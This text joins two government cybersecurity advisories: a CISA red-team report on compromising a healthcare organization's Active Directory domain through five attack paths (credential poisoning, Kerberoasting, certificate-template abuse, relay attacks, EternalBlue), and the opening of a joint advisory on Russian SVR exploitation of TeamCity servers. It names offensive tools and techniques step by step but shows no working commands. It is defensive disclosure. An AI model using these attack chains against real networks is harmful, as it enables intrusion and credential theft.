The assessment team starts internal penetration testing with a connection to the organization’s network but without a valid domain account. The team’s goal is to compromise the domain by gaining domain admin or enterprise administrator-level permissions. Generally, the team first attempts to gain domain user access and then escalate privileges until the domain is compromised. This process is called the “attack path”—acquiring initial access to an organization and escalating privileges until the domain is compromised and/or vital assets for the organization are accessed. The attack path requires specialized expertise and is realistic to what adversaries may do in an environment.
For this assessment, the team compromised the organization’s domain through four unique attack paths, and in a fifth attack path the team obtained access to sensitive information.
See the sections below for a description of the team’s attack paths mapped to the MITRE ATT&CK for Enterprise framework. See the Findings section for information on issues that enabled the team to compromise the domain.
Attack Path 1
The assessment team initiated LLMNR/NBT-NS/mDNS/DHCP poisoning [T1557.001] with Responder[2], which works in two steps:
LLMNR UDP/5355
,NBTNS UDP/137
) [T1040] and under the right conditions spoofs a response to direct the victim host to a CISA-controlled machine on which Responder is running.With this tool, the CISA team captured fifty-five New Technology Local Area Network Manager version 2 (NTLMv2) hashes, including the NTLMv2 hash for a service account. Note: NTLMv2 and other variations of the hash protocol are used for clients to join a domain, authenticate between Active Directory forests, authenticate between earlier versions of Windows operating systems (OSs), and authenticate computers that are not normally a part of the domain.[3] Cracking these passwords may enable malicious actors to establish a foothold in the domain and move laterally or elevate their privileges if the hash belongs to a privileged account.
The service account had a weak password, allowing the team to quickly crack it [T1110.002] and obtain access to the organization’s domain. With domain access, the CISA assessment team enumerated accounts with a Service Principal Name (SPN) set [T1087.002]. SPN is the unique service identifier used by Kerberos authentication[4], and accounts with SPN are susceptible to Kerberoasting.
The CISA team used Impacket’s[5] GetUserSPNs tool to request Ticket-Granting Service (TGS) tickets for all accounts with SPN set and obtained their Kerberos hashes [T1558.003]. Three of these accounts had domain administrator privileges—offline, the team cracked ACCOUNT 1 (which had a weak password).
Using CrackMapExec[6], the assessment team used ACCOUNT 1 [T1078.002] to successfully connect to a domain controller (DC). The team confirmed they compromised the domain because ACCOUNT 1 had
READ,WRITE
permissions over theC$
administrative share [T1021.002] (see Figure 1).To further demonstrate the impact of compromising ACCOUNT 1, the assessment team used it to access a virtual machine interface. If a malicious actor compromised ACCOUNT 1, they could use it to modify, power off [T1529], and/or delete critical virtual machines, including domain controllers and file servers.
Attack Path 2
The team first mapped the network to identify open web ports [T1595.001], and then attempted to access various web interfaces [T1133] with default administrator credentials. The CISA team was able to log into a printer interface with a default password and found the device was configured with domain credentials to allow employees to save scanned documents to a network share [T1080].
While logged into the printer interface as an administrator, the team 1) modified the “Save as file” configuration to use File Transfer Protocol (FTP) instead of Server Message Block (SMB) and 2) changed the Server Name and Network Path to point to a CISA-controlled machine running Responder [T1557]. Then, the team executed a “Connection Test” that sent the username and password over FTP [T1187] to the CISA machine running Responder, which captured cleartext credentials for a non-privileged domain account (ACCOUNT 2).
Using ACCOUNT 2 and Certipy[7], the team enumerated potential certificate template vulnerabilities found in Active Directory Certificate Services (ADCS). Note: ADCS templates are used to build certificates for different types of servers and other entities on an organization’s network. Malicious actors can exploit template misconfigurations [T1649] to manipulate the certificate infrastructure into issuing fraudulent certificates and/or escalate user privileges to a domain administrator.
The
WebServer
template was misconfigured to allow all authenticated users permission to:Object Control Permissions
withWrite Property Principals
set toAuthenticated Users
).Enrollment Permissions
including theAuthenticated Users
group).EnrolleeSuppliesSubject
set asTrue
).See Figure 2 for the displayed certificate template misconfigurations.
The template’s
Client Authentication
was set toFalse
, preventing the CISA assessment team from requesting a certificate that could be used to authenticate to a server in the domain. To demonstrate how this misconfiguration could lead to privilege escalation, the assessment team, leveraging its status as a mere authenticated user, briefly changed theWebServer
template properties to setClient Authentication
toTrue
so that a certificate could be obtained for server authentication, ensuring the property was set back to its original setting ofFalse
immediately thereafter.The team used Certipy with the ACCOUNT 2 credentials to request a certificate for a Domain Administrator account (ACCOUNT 3). The team then authenticated to the domain controller as ACCOUNT 3 with the generated certificate [T1550] and retrieved the NTLM hash for ACCOUNT 3 [T1003]. The team used the hash to authenticate to the domain controller [T1550.002] and validated Domain Administrator privileges, demonstrating compromise of the domain via the
WebServer
template misconfiguration.Attack Path 3
The CISA team used a tool called CrackMapExec to spray easily guessable passwords [T1110.003] across all domain accounts and obtained two sets of valid credentials for standard domain user accounts.
The assessment team leveraged one of the domain user accounts (ACCOUNT 4) to enumerate ADCS via Certipy and found that web enrollment was enabled (see Figure 3). If web enrollment is enabled, malicious actors can abuse certain services and/or misconfigurations in the environment to coerce a server to authenticate to an actor-controlled computer, which can relay the authentication to the ADCS web enrollment service and obtain a certificate for the server’s account (known as a relay attack).
The team used PetitPotam [8] with ACCOUNT 4 credentials to force the organization’s domain controller to authenticate to the CISA-operated machine and then used Certipy to relay the coerced authentication attempt to the ADCS web enrollment service to receive a valid certificate for ACCOUNT 5, the domain controller machine account. They used this certificate to acquire a TGT [T1558] for ACCOUNT 5.
With the TGT for ACCOUNT 5, the CISA team used
DCSync
to dump the NTLM hash [T1003.006] for ACCOUNT 3 (a Domain Administrator account [see Attack Path 2 section]), effectively leading to domain compromise.Attack Path 4
The CISA team identified several systems on the organization’s network that do not enforce SMB signing. The team exploited this misconfiguration to obtain cleartext credentials for two domain administrator accounts.
First, the team used Responder to capture the NTLMv2 hash for a domain administrator account. Next, they used Impacket’s NTLMrelayx tool[9] to relay the authentication for the domain administrator, opening a SOCKS connection on a host that did not enforce SMB signing. The team then used DonPAPI[10] to dump cleartext credentials through the SOCKS connection and obtained credentials for two additional domain administrator accounts.
The CISA team validated the privileges of these accounts by checking for
READ,WRITE
access on a domain controllerC$
share [T1039], demonstrating Domain Administrator access and therefore domain compromise.Attack Path 5
The team did vulnerability scanning [T1046] and identified a server vulnerable to CVE-2017-0144 (an Improper Input Validation [CWE-20] vulnerability known as “EternalBlue” that affects SMB version 1 [SMBv1] and enables remote code execution [see Figure 4]).
The CISA assessment team then executed a well-known EternalBlue exploit [T1210] and established a shell on the server. This shell allowed them to execute commands [T1059.003] under the context of the local
SYSTEM
account.With this local
SYSTEM
account, CISA dumped password hashes from a Security Account Manager (SAM) database [T1003.002]. The team parsed the hashes and identified one for a local administrator account. Upon parsing the contents of the SAM database dump, the CISA team identified an NTLM hash for the local administrator account, which can be used to authenticate to various services.The team sprayed the acquired NTLM hash across a network segment and identified multiple instances of password reuse allowing the team to access various resources including sensitive information with the hash.
Findings
Key Issues
The CISA assessments team identified several findings as potentially exploitable vulnerabilities that could compromise the confidentiality, integrity, and availability of the tested environment. Each finding, listed below, includes a description with supporting details. See the Mitigations section for recommendations on how to mitigate these issues.
The CISA team rated their findings on a severity scale from critical to informational (see Table 2).
Critical
Critical vulnerabilities pose an immediate and severe risk to the environment because of the ease of exploitation and potential impact. Critical items are reported to the customer immediately.
High
Malicious actors may be able to exercise full control on the targeted device.
Medium
Malicious actors may be able to exercise some control of the targeted device.
Low
The vulnerabilities discovered are reported as items of interest but are not normally exploitable. Many low items reported by security tools are not included in this report because they are often informational, unverified, or of minor risk.
Informational
These vulnerabilities are potential weaknesses within the system that cannot be readily exploited. These findings represent areas that the customer should be cognizant of, but do not require any immediate action.
The CISA assessment team identified four High severity vulnerabilities and one Medium severity vulnerability during penetration testing that contributed to the team’s ability to compromise the domain. See Table 3 for a list and description of these findings.
Poor Credential Hygiene: Easily Crackable Passwords
High
Penetration Testing
As part of their assessment, the team reviewed the organization’s domain password policy and found it was weak because the minimum password length was set to 8 characters. Passwords less than 15 characters without randomness are easily crackable, and malicious actors with minimal technical knowledge can use these credentials to access the related services.
The assessment team was able to easily crack many passwords throughout the assessment to move laterally and increase access within the domain. Specifically, the team:
Cracked the password hash (obtained via Kerberoasting) of a domain administrator account and subsequently compromised the domain. (See the Attack Path 1 section.)
Poor Credential Hygiene: Guessable Credentials
High
Penetration Testing
As part of the penetration test, the assessment team tested to see if one or more services is accessible using a list of enumerated usernames alongside an easily guessed password. The objective is to see if a malicious actor with minimal technical knowledge can use these credentials to access the related services, enabling them to move laterally or escalate privileges. Easily guessable passwords are often comprised of common words, seasons, months and/or years, and are sometimes combined with special characters. Additionally, phrases or names that are popular locally (such as the organization being tested or a local sports teams) may also be considered easily guessable.
The team sprayed common passwords against domain user accounts and obtained valid credentials for standard domain users. (See the Attack Path 3 section.) (Cracking was not necessary for this attack.)
Misconfigured ADCS Certificate Templates
High
Penetration Testing
The team identified a WebServer template configured to allow all authenticated users permission to change the properties of the template and obtain certificates for different users. The team exploited the template to acquire a certificate for a Domain Administrator account (see the Attack Path 2 section).
Unnecessary Network Services Enabled
High
Penetration Testing
Malicious actors can exploit security vulnerabilities and misconfigurations in network services, especially legacy services.
The assessment team identified legacy name resolution protocols (e.g., NetBIOS, LLMNR, mDNS) enabled in the network, and abused LLMNR to capture NTLMv2 hashes, which they then cracked and used for domain access. (See the Attack Path 1 section.)
The team also identified an ADCS server with web enrollment enabled and leveraged it to compromise the domain through coercion and relaying. (See Attack Path 3 section.)
Additionally, the team identified hosts with
WebClient
and Spooler services, which are often abused by malicious actors to coerce authentication.Elevated Service Account Privileges
High
Penetration Testing
Applications often require user accounts to operate. These user accounts, which are known as service accounts, often require elevated privileges. If an application or service running with a service account is compromised, an actor may have the same privileges and access as the service account.
The CISA team identified a service account with Domain Administrator privileges and used it to access the domain after cracking its password (See the Attack Path 1 section).
SMB Signing Not Enabled
High
Penetration Testing
The CISA team identified several systems on the organization’s network that do not enforce SMB signing and exploited this for relayed authentication to obtain cleartext credentials for two domain administrator accounts.
Insecure Default Configuration: Default Credentials
Medium
Web Application Assessment
Many off-the-shelf applications are released with built-in administrative accounts using predefined credentials that can often be found with a simple web search. Malicious actors with minimal technical knowledge can use these credentials to access the related services.
During testing, the CISA team identified multiple web interfaces with default administrator credentials and used default credentials for a printer interface to capture domain credentials of a non-privileged domain account. (See the Attack Path 2 section.)
In addition to the issues listed above, the team identified three High and seven Medium severity findings. These vulnerabilities and misconfigurations may allow a malicious actor to compromise the confidentiality, integrity, and availability of the tested environment. See Table 4 for a list and description of these findings.
Poor Credential Hygiene: Password Reuse for Administrator and User Accounts
High
Penetration Testing
Elevated password reuse is when an administrator uses the same password for their user and administrator accounts. If the user account password is compromised, it can be used to gain access to the administrative account.
The assessment team identified an instance where the same password was set for an admin user’s administrative account as well as their standard user account.
Poor Credential Hygiene: Password Reuse for Administrator Accounts
Medium
Penetration Testing
If administrator passwords are the same for various administrator accounts, malicious actors can use the password to access all systems that share this credential after compromising one account.
The assessment team found multiple instances of local administrator accounts across various systems using the same password.
Poor Patch Management: Out-of-Date Software
High
Penetration Testing
Patches and updates are released to address existing and emerging security vulnerabilities, and failure to apply the latest leaves systems open to attack with publicly available exploits. (The risk presented by missing patches and updates depends on the severity of the vulnerability).
The assessment team identified several unpatched systems including instances of CVE-2019-0708 (known as “BlueKeep”) and EternalBlue.
The team was unable to successfully compromise the systems with BlueKeep, but they did exploit EternalBlue on a server to implant a shell on a server with local
SYSTEM
privileges (see the Attack Path 5 section).Poor Patch Management: Unsupported OS or Application
High
Penetration Testing
Using software or hardware that is no longer supported by the vendor poses a significant security risk because new and existing vulnerabilities are no longer patched). There is no way to address security vulnerabilities on these devices to ensure that they are secure. The overall security posture of the entire network is at risk because an attacker can target these devices to establish an initial foothold into the network.
The assessment team identified end-of-life (EOL) Windows Server 2008 R2 and Windows Server 2008 and Windows 5.1.
Use of Weak Authentication Measures
Medium
Penetration Testing
Applications may have weak or broken mechanisms to verify user identity before granting user access to protected functionalities. Malicious actors can exploit these to bypass authentication and gain access to use application resources and functionality.
The assessment team abused the Cisco Smart Install protocol to obtain configuration files for several Cisco devices on the organization’s network. These files contained encrypted Cisco passwords. (The CISA team was unable to crack these passwords within the assessment timeframe.)
PII Disclosure
Medium
Penetration Testing
The assessment team identified an unencrypted Excel file containing PII on a file share.
Hosts with Unconstrained Delegation Enabled Unnecessarily
Medium
Penetration Testing
The CISA team identified two systems that appeared to be configured with
Unconstrained Delegation
enabled. Hosts withUnconstrained Delegation
enabled store the Kerberos TGTs of all users that authenticate to that host, enabling actors to steal service tickets or compromise krbtgt accounts and perform golden ticket or silver ticket attacks.Although the assessment team was unable to fully exploit this configuration because they lost access to one of the vulnerable hosts, it could have led to domain compromise under the right circumstances.
Cleartext Password Disclosure
Medium
Penetration Testing
Storing passwords in cleartext is a security risk because malicious actors with access to these files can use them.
The assessment team identified several unencrypted files on a file share containing passwords for various personal and organizational accounts.
Insecure File Shares
Medium
Penetration Testing
Access to sensitive data (e.g., data related to business functions, IT functions, and/or personnel) should be restricted to only certain authenticated and authorized users.
The assessment team found an unsecured directory on a file share with sensitive IT information. The directory was accessible to all users in the domain group. Malicious actors with user privileges could access and/or exfiltrate this data.
Additional Issues
The CISA team identified one Informational severity within the organization’s networks and systems. These issues may allow a malicious actor to compromise the confidentiality, integrity, and availability of the tested environment, but are not readily exploitable. The information provided is to encourage the stakeholder to investigate these issues further to adjust their environments or eliminate certain aspects as needed, but the urgency is low.
Overly Permissive Accounts
Informational
Penetration Testing
Account privileges are intended to control user access to host or application resources to limit access to sensitive information in support of a least-privilege security model. When user (or other) accounts have high privileges, users can see and/or do things they normally should not, and malicious actors can exploit this to access host and application resources.
The assessment team identified Active Directory objects where the
Human Resources
group appeared to be part of the privilegedAccount Operators
group. This may have provided elevated privileges to accounts in theHuman Resources
group. (The CISA team was unable to validate and demonstrate the potential impact of this relationship within the assessment period).Noted Strengths
The CISA team noted the following business, technical, and administrative components that enhanced the network security posture of the tested environment:
MITIGATIONS
Network Defenders
CISA recommends HPH Sector and other critical infrastructure organizations implement the mitigations in Table 6 to mitigate the issues listed in the Findings section of this advisory. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.
Poor Credential Hygiene: Easily Crackable Passwords
Poor Credential Hygiene: Guessable Credentials
Misconfigured ADCS Certificate Templates
Enrollee Supplies Subject
flag from templates if it is not necessary or enforce manager approval if required. Consider removingWrite Owner, Write DACL
andWrite Property
permissions from low-privilege groups, such asAuthenticated Users
where those permissions are not needed.Unnecessary Network Services Enabled
WebClient
and Spooler services where possible to minimize risk of coerced authentication.WebClient
services to coerce and relay authentication to the web-enrollment service.Elevated Service Account Privileges
SMB Signing Not Enabled
Insecure Default Configuration: Default Credentials
Poor Credential Hygiene: Password Reuse for Administrator and User Accounts
Poor Credential Hygiene: Password Reuse for Administrator Accounts
Poor Patch Management: Out-of-Date Software
Poor Patch Management: Unsupported OS or Application
Use of Weak Authentication Measures
PII Disclosure
Hosts with Unconstrained Delegation Enabled Unnecessarily
Unconstrained Delegation
from all servers. IfUnconstrained Delegation
functionality is required, upgrade operating systems and applications to leverage other approaches (e.g., configureConstrained Delegation
, enable theAccount is sensitive and cannot be delegated
option) or explore whether systems can be retired or further isolated from the enterprise. CISA recommends Windows Server 2019 or greater.Cleartext Password Disclosure
Insecure File Shares
Additionally, CISA recommends that HPH sector organizations implement the following strategies to mitigate cyber threats:
For more information on these mitigations strategies, see CISA’s Healthcare and Public Health Sector webpage.
Software Manufacturers
The above mitigations apply to HPH sector and other critical infrastructure organizations with on-premises or hybrid environments. Recognizing that insecure software is the root cause of the majority of these flaws, and that the responsibility should not be on the end user, CISA urges software manufacturers to implement the following to reduce the prevalence of misconfigurations, weak passwords, and other weaknesses identified and exploited through the assessment team:
These mitigations align with tactics provided in the joint guide Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software. CISA urges software manufacturers to take ownership of improving the security outcomes of their customers by applying these and other secure by design tactics. By using secure by design tactics, software manufacturers can make their product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing security software and logs, monitoring, and making routine updates.
For more information on secure by design, see CISA’s Secure by Design webpage. For more information on common misconfigurations and guidance on reducing their prevalence, see the joint advisory NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations.
VALIDATE SECURITY CONTROLS
In addition to applying the listed mitigations, CISA recommends exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. CISA recommends testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.
To get started:
CISA recommends continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.
RESOURCES
REFERENCES
[1] Github | kgretzky / evilginx
[2] Github | lgandx / Responder
[3] Network security LAN Manager authentication level – Windows Security | Microsoft Learn
[4] Service principal names – Win32 apps | Microsoft Learn
[5] Github | fortra / impacket
6] Github | byt3bl33d3r / CrackMapExec
[7] Github | ly4k / Certipy
[8] Github | topotam / PetitPotam
[9] Github | fortra / impacket / examples
[10] Github | login-securite / DonPAPI
[11] SP 800-63B, Digital Identity Guidelines: Authentication and Lifecycle Management | CSRC (nist.gov)
APPENDIX: MITRE ATT&CK TACTICS AND TECHNIQUES
Reconnaissance
Technique Title
ID
Use
Active Scanning: Scanning IP Blocks
T1595.001
The CISA team first mapped the network to identify open web ports.
Initial Access
Technique Title
ID
Use
Valid Accounts: Default Accounts
T1078.001
The CISA team did identify default credentials for multiple web interfaces during web application testing and used default printer credentials while penetration testing.
External Remote Services
T1133
The CISA team attempted to access various web interfaces with default administrator credentials.
Execution
Technique Title
ID
Use
Command-Line Interface
T1059
The CISA team accessed a virtual machine interface enabling them to modify, power off, and/or delete critical virtual machines including domain controllers, file servers, and servers.
Command and Scripting Interpreter: Windows Command Shell
T1059.003
The CISA team used a webshell that allowed them to execute commands under the context of the local
SYSTEM
account.Privilege Escalation
Technique Title
ID
Use
Valid Accounts: Domain Accounts
T1078.002
The CISA team used CrackMapExec to use ACCOUNT 1 to successfully connect to a domain controller (DC).
Defense Evasion
Technique Title
ID
Use
Use Alternate Authentication Material
T1550
The CISA team authenticated to the domain controller as ACCOUNT 3 with the generated certificate.
Credential Access
Technique Title
ID
Use
LLMNR/NBT-NS Poisoning and Relay
T1557.001
The CISA team initiated a LLMNR/NBT-NS/mDNS/DHCP poisoning tool to spoof a connection to the organization’s server for forced access.
Brute Force: Password Cracking
T1110.002
The CISA team cracked a service account with a weak password, giving them access to it.
Steal or Forge Kerberos Tickets: Kerberoasting
T1558.003
The CISA team gained access to domain accounts because any domain user can request a TGS ticket for domain accounts.
Adversary-in-the-Middle
T1557
The CISA team modified the “Save as file” configuration, to use File Transfer Protocol (FTP) instead of Server Message Block (SMB) and changed the Server Name and Network Path to point to a CISA-controlled machine running Responder.
Forced Authentication
T1187
The CISA team executed a “Connection Test” that sent the username and password over FTP.
Steal or Forge Authentication Certificates
T1649
The CISA team used
Certipy
to enumerate the ADCS certificate template vulnerabilities, allowing them to obtain certificates for different users.OS Credential Dumping
T1003
The CISA team retrieved the NTLM hash for ACCOUNT 3.
Use Alternate Authentication Material: Pass the Hash
T1550.002
The CISA team used the hash to authenticate to the domain controller and validated Domain Administrator privileges, demonstrating compromise of the domain.
Brute Force: Password Spraying
T1110.003
The CISA team used a tool called
CrackMapExec
to spray easily guessable passwords across all domain accounts, giving them two sets of valid credentials.Steal or Forge Kerberos Tickets
T1558
The CISA team used this certificate to acquire a TGT for ACCOUNT 5.
OS Credential Dumping: DCSync
T1003.006
The CISA team used
DCSync
to dump the NTLM hash for ACCOUNT 3 (a Domain Administrator account), effectively leading to domain compromise.OS Credential Dumping: Security Account Manager
T1003.002
The CISA team dumped password hashes from a Security Account Manager (SAM) database.
Discovery
Technique Title
ID
Use
Network Sniffing
T1040
The CISA team spoofed a response to direct the victim host to a CISA-controlled machine on which Responder is running.
Account Discovery: Domain Account
T1087.002
The CISA team enumerated accounts with a Service Principal Name (SPN) set with their domain access.
Network Service Scanning
T1046
The CISA team canned the organization’s network to identify open web ports to see where they could leverage the default credentials they had.
Lateral Movement
Technique Title
ID
Use
Remote Services
T1021
The CISA team exploited its Responder to perform malicious functions, such as stealing credentials or opening a session on a targeted host.
SMB/Windows Admin Shares
T1021.002
The CISA team confirmed they compromised the domain because ACCOUNT 1 had
READ,WRITE
permissions over theC$
administrative share.Taint Shared Content
T1080
The CISA team found the device was configured with domain credentials to allow employees to save scanned documents to a network share.
Exploitation of Remote Services
T1210
The CISA team then executed a well-known EternalBlue exploit and established a shell on the server.
Collection
Technique Title
ID
Use
Data from Network Shared Drive
T1039
The CISA team obtained credentials for cleartext, hashes, and from files.
Collection
Technique Title
ID
Use
System Shutdown/Reboot
T1529
The CISA team assessed that with ACCOUNT 1, they could use it to modify, power off, and/or delete critical virtual machines, including domain controllers and file servers.
VERSION HISTORY
December 14, 2023: Initial version.
Source de l’article sur us-cert.gov
Russian Foreign Intelligence Service (SVR) Exploiting JetBrains TeamCity CVE Globally
Sécurité de l'information et du SI, Sécurité de l’information, Sécurité du système d’informationSUMMARY
The U.S. Federal Bureau of Investigation (FBI), U.S. Cybersecurity & Infrastructure Security Agency (CISA), U.S. National Security Agency (NSA), Polish Military Counterintelligence Service (SKW), CERT Polska (CERT.PL), and the UK’s National Cyber Security Centre (NCSC) assess Russian Foreign Intelligence Service (SVR) cyber actors—also known as Advanced Persistent Threat 29 (APT 29), the Dukes, CozyBear, and NOBELIUM/Midnight Blizzard—are exploiting CVE-2023-42793 at a large scale, targeting servers hosting JetBrains TeamCity software since September 2023.
Software developers use TeamCity software to manage and automate software compilation, building, testing, and releasing. If compromised, access to a TeamCity server would provide malicious actors with access to that software developer’s source code, signing certificates, and the ability to subvert software compilation and deployment processes—access a malicious actor could further use to conduct supply chain operations. Although the SVR used such access to compromise SolarWinds and its customers in 2020, limited number and seemingly opportunistic types of victims currently identified, indicate that the SVR has not used the access afforded by the TeamCity CVE in a similar manner. The SVR has, however, been observed using the initial access gleaned by exploiting the TeamCity CVE to escalate its privileges, move laterally, deploy additional backdoors, and take other steps to ensure persistent and long-term access to the compromised network environments.
To bring Russia’s actions to public attention, the authoring agencies are providing information on the SVR’s most recent compromise to aid organizations in conducting their own investigations and securing their networks, provide compromised entities with actionable indicators of compromise (IOCs), and empower private sector cybersecurity companies to better detect and counter the SVR’s malicious actions. The authoring agencies recommend all organizations with affected systems that did not immediately apply available patches or workarounds to assume compromise and initiate threat hunting activities using the IOCs provided in this CSA. If potential compromise is detected, administrators should apply the incident response recommendations included in this CSA and report key findings to the FBI and CISA.
Download the PDF version of this report:
(PDF, 774.65 KB
)
For a downloadable copy of IOCs, see:
(XML, 76.99 KB
)
(JSON, 69.29 KB
)
THREAT OVERVIEW
SVR cyber operations pose a persistent threat to public and private organizations’ networks globally. Since 2013, cybersecurity companies and governments have reported on SVR operations targeting victim networks to steal confidential and proprietary information. A decade later, the authoring agencies can infer a long-term targeting pattern aimed at collecting, and enabling the collection of, foreign intelligence, a broad concept that for Russia encompasses information on the politics, economics, and military of foreign states; science and technology; and foreign counterintelligence. The SVR also conducts cyber operations targeting technology companies that enable future cyber operations.
A decade ago, public reports about SVR cyber activity focused largely on the SVR’s spear phishing operations, targeting government agencies, think tanks and policy analysis organizations, educational institutions, and political organizations. This category of targeting is consistent with the SVR’s responsibility to collect political intelligence, the collection of which has long been the SVR’s highest priority. For the Russian Government, political intelligence includes not only the development and execution of foreign policies, but also the development and execution of domestic policies and the political processes that drive them. In December 2016, the U.S. Government published a Joint Analysis Report titled “GRIZZLY STEPPE – Russian Malicious Cyber Activity,” which describes the SVR’s compromise of a U.S. political party leading up to a presidential election. The SVR’s use of spear phishing operations are visible today in its ongoing Diplomatic Orbiter campaign, primarily targeting diplomatic agencies. In 2023, SKW and CERT.PL published a Joint Analysis Report describing tools and techniques used by the SVR to target embassies in dozens of countries.
Less frequently, reporting on SVR cyber activity has addressed other aspects of the SVR’s foreign intelligence collection mission. In July 2020, U.S., U.K., and Canadian Governments jointly published an advisory revealing the SVR’s exploitation of CVEs to gain initial access to networks, and its deployment of custom malware known as WellMess, WellMail, and Sorefang to target organizations involved in COVID-19 vaccine development. Although not listed in the 2020 advisory did not mention it, the authoring agencies can now disclose that the SVR’s WellMess campaign also targeted energy companies. Such biomedical and energy targets are consistent with the SVR’s responsibility to support the Russian economy by pursuing two categories of foreign intelligence known as economic intelligence and science and technology.
In April 2021, the U.S. Government attributed a supply chain operation targeting the SolarWinds information technology company and its customers to the SVR. This attribution marked the discovery that the SVR had, since at least 2018, expanded the range of its cyber operations to include the widespread targeting of information technology companies. At least some of this targeting was aimed at enabling additional cyber operations. Following this attribution, the U.S. and U.K. Governments published advisories highlighting additional SVR TTPs, including its exploitation of various CVEs, the SVR’s use of “low and slow” password spraying techniques to gain initial access to some victims’ networks, exploitation of a zero-day exploit, and exploitation of Microsoft 365 cloud environments.
In this newly attributed operation targeting networks hosting TeamCity servers, the SVR demonstrably continues its practice of targeting technology companies. By choosing to exploit CVE-2023-42793, a software development program, the authoring agencies assess the SVR could benefit from access to victims, particularly by allowing the threat actors to compromise the networks of dozens of software developers. JetBrains issued a patch for this CVE in mid-September 2023, limiting the SVR’s operation to the exploitation of unpatched, Internet-reachable TeamCity servers. While the authoring agencies assess the SVR has not yet used its accesses to software developers to access customer networks and is likely still in the preparatory phase of its operation, having access to these companies’ networks presents the SVR with opportunities to enable hard-to- detect command and control (C2) infrastructure.
TECHNICAL DETAILS
Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 14. See the MITRE ATT&CK Tactics and Techniques section for a table of the threat actors’ activity mapped to MITRE ATT&CK® tactics and techniques. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool. While SVR followed a similar playbook in each compromise, they also adjusted to each operating environment and not all presented steps or actions below were executed on every host.
Initial Access – Exploitation
The SVR started to exploit Internet-connected JetBrains TeamCity servers [T1190] in late September 2023 using CVE-2023-42793, which enables the insecure handling of specific paths allowing for bypassing authorization, resulting in arbitrary code execution on the server. The authoring agencies’ observations show that the TeamCity exploitation usually resulted in code execution [T1203] with high privileges granting the SVR an advantageous foothold in the network environment. The authoring agencies are not currently aware of any other initial access vector to JetBrains TeamCity currently being exploited by the SVR.
Host Reconnaissance
Initial observations show the SVR used the following basic, built-in commands to perform host reconnaissance [T1033],[T1059.003],[T1592.002]:
File Exfiltration
Additionally, the authoring agencies have observed the SVR exfiltrating files [T1041] which may provide insight into the host system’s operating system:
Interest in SQL Server
Based on the review of the exploitation, the SVR also showed an interest in details of the SQL Server [T1059.001],[T1505.001]:
Tactics Used to Avoid Detection
To avoid detection, the SVR used a “Bring Your Own Vulnerable Driver” [T1068] technique to disable or outright kill endpoint detection and response (EDR) and antivirus (AV) software [T1562.001].
This was done using an open source project called “EDRSandBlast.” The authoring agencies have observed the SVR using EDRSandBlast to remove protected process light (PPL) protection, which is used for controlling and protecting running processes and protecting them from infection. The actors then inject code into AV/EDR processes for a small subset of victims [T1068]. Additionally, executables that are likely to be detected (i.e. Mimikatz) were executed in memory [T1003.001].
In several cases SVR attempted to hide their backdoors via:
To avoid detection by network monitoring, the SVR devised a covert C2 channel that used Microsoft OneDrive and Dropbox cloud services. To further enable obfuscation, data exchanged with malware via OneDrive and Dropbox were hidden inside randomly generated BMP files [T1564], illustrated below:
Privilege Escalation
To facilitate privilege escalation [T1098], the SVR used multiple techniques, including WinPEAS, NoLMHash registry key modification, and the Mimikatz tool.
The SVR modified the NoLMHash registry using the following reg command:
The SVR used the following Mimikatz commands [T1003]:
Persistence
The SVR relied on scheduled tasks [T1053.005] to secure persistent execution of backdoors. Depending on the privileges the SVR had, their executables were stored in one of following directories:
The SVR made all modifications using the schtasks.exe binary. It then had multiple variants of arguments passed to schtasks.exe, which can be found in Appendix B – Indicators of Compromise.
To secure long-term access to the environment, the SVR used the Rubeus toolkit to craft Ticket Granting Tickets (TGTs) [T1558.001].
Sensitive Data Exfiltration [T1020]
The SVR exfiltrated the following Windows Registry hives from its victims [T1003]:
In order to exfiltrate Windows Registry, the SVR saved hives into files [T1003.002], packed them, and then exfiltrated them using a backdoor capability. it used “reg save” to save SYSTEM, SAM and SECURITY registry hives, and used powershell to stage .zip archives in the C:WindowsTemp directory.
In a few specific cases, the SVR used the SharpChromium tool to obtain sensitive browser data such as session cookies, browsing history, or saved logins.
SVR also used DSInternals open source tool to interact with Directory Services. DSInternals allows to obtain a sensitive Domain information.
Network Reconnaissance
After the SVR built a secure foothold and gained an awareness of a victim’s TeamCity server, it then focused on network reconnaissance [T1590.004]. The SVR performed network reconnaissance using a mix of built-in commands and additional tools, such as port scanner and PowerSploit, which it launched into memory [T1046]. The SVR executed the following PowerSploit commands:
Tunneling into Compromised Environments
In selected environments the SVR used an additional tool named, “rr.exe”—a modified open source reverse socks tunneler named Rsockstun—to establish a tunnel to the C2 infrastructure [T1572].
The authoring agencies are aware of the following infrastructure used in conjunction with “rr.exe”:
The SVR executed Rsockstun either in memory or using the Windows Management Instrumentation Command Line (WMIC) [T1047] utility after dropping it to disk:
Lateral Movement
The SVR used WMIC to facilitate lateral movement [T1047],[T1210].
The SVR also modified DisableRestrictedAdmin key to enable remote connections [T1210].
It modified Registry using the following reg command:
Adversary Toolset
In the course of the TeamCity operation, the SVR used multiple custom and open source available tools and backdoors. The following custom tools were observed in use during the operation:
While the GraphicalProton backdoor has remained mostly unchanged over the months we have been tracking it, to avoid detection the adversary wrapped the tool in various different layers of obfuscation, encryption, encoders, and stagers. Two specific variants of GraphicalProton “packaging” are especially noteworthy – a variant that uses DLL hijacking [T1574.002] in Zabbix as a means to start execution (and potentially provide long-term, hard-to-detect access) and a variant that masks itself within vcperf [T1036], an open-source C++ build analysis tool from Microsoft.
